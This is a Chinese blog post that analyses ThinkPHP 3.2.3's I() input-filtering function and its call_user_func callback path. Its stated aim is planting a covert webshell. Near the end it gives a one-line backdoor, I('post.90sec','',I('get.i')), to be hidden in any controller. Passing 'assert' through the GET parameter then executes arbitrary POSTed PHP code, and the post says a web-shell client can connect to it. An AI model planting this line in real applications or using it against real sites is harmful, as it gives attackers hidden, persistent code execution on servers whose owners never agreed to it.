原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html
90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。
thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post、cookie类似。
let me see see I函数的代码:
01 | function I( $name , $default = '' , $filter = null, $datas = null) |
08 | $filters = isset( $filter ) ? $filter : C( 'DEFAULT_FILTER' ); |
10 | if ( is_string ( $filters )) { |
11 | $filters = explode ( ',' , $filters ); |
13 | foreach ( $filters as $filter ) { |
14 | $data = array_map_recursive( $filter , $data ); |
17 | } elseif (isset( $input [ $name ])) { |
19 | $data = $input [ $name ]; |
20 | $filters = isset( $filter ) ? $filter : C( 'DEFAULT_FILTER' ); |
22 | if ( is_string ( $filters )) { |
23 | if (0 === strpos ( $filters , '/' )) { |
24 | if (1 !== preg_match( $filters , (string) $data )) { |
26 | return isset( $default ) ? $default : null; |
29 | $filters = explode ( ',' , $filters ); |
31 | } elseif ( is_int ( $filters )) { |
32 | $filters = array ( $filters ); |
35 | if ( is_array ( $filters )) { |
36 | foreach ( $filters as $filter ) { |
37 | if (function_exists( $filter )) { |
38 | $data = is_array ( $data ) ? array_map_recursive( $filter , $data ) : $filter ( $data ); |
40 | $data = filter_var( $data , is_int ( $filter ) ? $filter : filter_id( $filter )); |
41 | if (false === $data ) { |
42 | return isset( $default ) ? $default : null; |
I函数的第三个参数是$filter,作用是对变量的过滤。
新版本(3.2.3)中,$filter可以传入两种4种值:
1.一个过滤函数(字符串)
2.一些过滤函数组成的字符串,其间用“|”分割
3.一些过滤函数的字符串组成的数组
4.以“/”开头的正则表达式
可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars
![点击查看原图 convention_php_—_thinkphp.png](https://dn-leavesongs.qbox.me/content/uploadfile/201510/thum-07e21444846812.png)
以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:
1 | if (0 === strpos ( $filters , '/' )) { |
2 | if (1 !== preg_match( $filters , (string) $data )) { |
4 | return isset( $default ) ? $default : null; |
如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。
而回调函数部分,是我们留后门的关键。核心是这一段:
01 | if ( is_array ( $filters )) { |
02 | foreach ( $filters as $filter ) { |
03 | if (function_exists( $filter )) { |
04 | $data = is_array ( $data ) ? array_map_recursive( $filter , $data ) : $filter ( $data ); |
06 | $data = filter_var( $data , is_int ( $filter ) ? $filter : filter_id( $filter )); |
07 | if (false === $data ) { |
08 | return isset( $default ) ? $default : null; |
如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。
我们跟进array_map_recursive函数:
01 | function array_map_recursive( $filter , $data ) |
04 | foreach ( $data as $key => $val ) { |
05 | $result [ $key ] = is_array ( $val ) |
06 | ? array_map_recursive( $filter , $val ) |
07 | : call_user_func( $filter , $val ); |
明显是一个递归执行的过程,最后调用的是call_user_func 。
还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。
所以,我们只需要随意找个controller,在可访问的方法中插入:
1 | I( 'post.90sec' , '' , I( 'get.i' )); |
如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。
我就拿thinkphp默认的IndexController下的index方法示例:
![点击查看原图 IndexController_class_php_—_thinkphp.png](https://dn-leavesongs.qbox.me/content/uploadfile/201510/thum-74ad1444847821.png)
如下即可执行任意代码:
![点击查看原图 phpinfo__.png](https://dn-leavesongs.qbox.me/content/uploadfile/201510/thum-b9411444847902.png)
一个回调后门,菜刀也可以连接。